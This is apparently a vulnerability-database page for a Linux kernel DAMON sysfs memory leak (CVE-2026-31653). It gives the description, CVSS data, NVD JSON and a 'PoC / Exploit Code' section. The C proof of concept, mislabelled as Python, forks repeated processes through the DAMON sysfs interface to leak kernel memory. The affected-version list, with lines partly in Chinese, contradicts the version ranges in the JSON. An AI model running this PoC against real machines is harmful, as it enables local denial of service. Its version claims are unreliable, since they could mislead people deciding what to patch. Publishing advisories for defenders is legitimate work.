CVE-2026-31653

Description

In the Linux kernel, the following vulnerability has been resolved: mm/damon/sysfs: dealloc repeat_call_control if damon_call() fails damon_call() for repeat_call_control of DAMON_SYSFS could fail if somehow the kdamond is stopped before the damon_call(). It could happen, for example, when te damon context was made for monitroing of a virtual address processes, and the process is terminated immediately, before the damon_call() invocation. In the case, the dyanmically allocated repeat_call_control is not deallocated and leaked. Fix the leak by deallocating the repeat_call_control under the damon_call() failure. This issue is discovered by sashiko [1].

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel < v5.10.y (特定补丁前)

Linux Kernel < v5.15.y (特定补丁前)

Linux Kernel < v6.1.y (特定补丁前)

Linux Kernel < v6.6.y (特定补丁前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31653: Linux Kernel DAMON sysfs Memory Leak
 * This script attempts to trigger the race condition where
 * kdamond stops before damon_call() deallocates repeat_call_control.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>

#define DAMON_SYSFS_DIR "/sys/kernel/mm/damon/admin"

void trigger_leak() {
    FILE *fp;
    char pid_str[32];
    snprintf(pid_str, sizeof(pid_str), "%d", getpid());

    // 1. Create a DAMON context targeting the current process
    fp = fopen(DAMON_SYSFS_DIR "/kdamonds/nr_kdamonds", "w");
    if (fp) {
        fprintf(fp, "1");
        fclose(fp);
    }

    // 2. Configure target pid (simulate the vulnerable scenario)
    fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/contexts/0/targets/nr_targets", "w");
    if (fp) {
        fprintf(fp, "1");
        fclose(fp);
    }
    
    fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/contexts/0/targets/0/pid_target", "w");
    if (fp) {
        fprintf(fp, "%s", pid_str);
        fclose(fp);
    }

    // 3. Turn on kdamond
    fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/state", "w");
    if (fp) {
        fprintf(fp, "on");
        fclose(fp);
    }

    // 4. Immediately exit the process to trigger the race condition
    // This causes kdamond to stop while repeat_call_control might be active
    exit(0);
}

int main() {
    printf("Starting PoC for CVE-2026-31653...\n");
    
    // Loop to increase memory leak impact
    for (int i = 0; i < 100; i++) {
        if (fork() == 0) {
            trigger_leak();
        }
        usleep(10000);
    }

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31653
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31653
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31653/
[4] VulDB https://vuldb.com/cve/CVE-2026-31653
[5] https://git.kernel.org/stable/c/0199390a6b92fc21860e1b858abf525c7e73b956
[6] https://git.kernel.org/stable/c/0655f5cf1735508394ef8af98ddcfab3ac1c1cc5
[7] https://git.kernel.org/stable/c/b9dadf026a9fb681ed32a0646adc10ab485bf3b1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31653", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:44.793", "lastModified": "2026-04-27T20:16:21.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/sysfs: dealloc repeat_call_control if damon_call() fails\n\ndamon_call() for repeat_call_control of DAMON_SYSFS could fail if somehow\nthe kdamond is stopped before the damon_call(). It could happen, for\nexample, when te damon context was made for monitroing of a virtual\naddress processes, and the process is terminated immediately, before the\ndamon_call() invocation. In the case, the dyanmically allocated\nrepeat_call_control is not deallocated and leaked.\n\nFix the leak by deallocating the repeat_call_control under the\ndamon_call() failure.\n\nThis issue is discovered by sashiko [1]."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "0DC92196-2D7B-4F07-A19F-B43E0624C441"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0199390a6b92fc21860e1b858abf525c7e73b956", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/0655f5cf1735508394ef8af98ddcfab3ac1c1cc5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b9dadf026a9fb681ed32a0646adc10ab485bf3b1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}